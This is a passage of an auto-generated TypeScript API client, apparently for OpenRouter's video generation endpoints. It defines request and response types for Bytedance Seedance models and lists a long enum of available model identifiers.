string + */ + model: OpenrouterPostVideosBytedanceSeedance20FastRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: watermark, req_key. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosBytedanceSeedance20FastRequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosBytedanceSeedance20FastRequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosBytedanceSeedance20FastOptions = { + body: OpenrouterPostVideosBytedanceSeedance20FastBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosBytedanceSeedance20FastResponses = { + '200': OpenrouterPostVideosBytedanceSeedance20FastStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosBytedanceSeedance20FastResponse = + OpenrouterPostVideosBytedanceSeedance20FastStatus200 + +export const openrouterPostVideosBytedanceSeedance20MiniStatus200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosBytedanceSeedance20MiniStatus200StatusEnumKey = + (typeof openrouterPostVideosBytedanceSeedance20MiniStatus200StatusEnum)[keyof typeof openrouterPostVideosBytedanceSeedance20MiniStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosBytedanceSeedance20MiniStatus200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosBytedanceSeedance20MiniStatus200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosBytedanceSeedance20MiniRequestAspectRatioEnum = + { + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', + '4:3': '4:3', + '16:9': '16:9', + '21:9': '21:9', + '9:21': '9:21', + } as const + +export type OpenrouterPostVideosBytedanceSeedance20MiniRequestAspectRatioEnumKey = + (typeof openrouterPostVideosBytedanceSeedance20MiniRequestAspectRatioEnum)[keyof typeof openrouterPostVideosBytedanceSeedance20MiniRequestAspectRatioEnum] + +export const openrouterPostVideosBytedanceSeedance20MiniRequestDurationEnum = { + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, +} as const + +export type OpenrouterPostVideosBytedanceSeedance20MiniRequestDurationEnumKey = + (typeof openrouterPostVideosBytedanceSeedance20MiniRequestDurationEnum)[keyof typeof openrouterPostVideosBytedanceSeedance20MiniRequestDurationEnum] + +export const openrouterPostVideosBytedanceSeedance20MiniRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 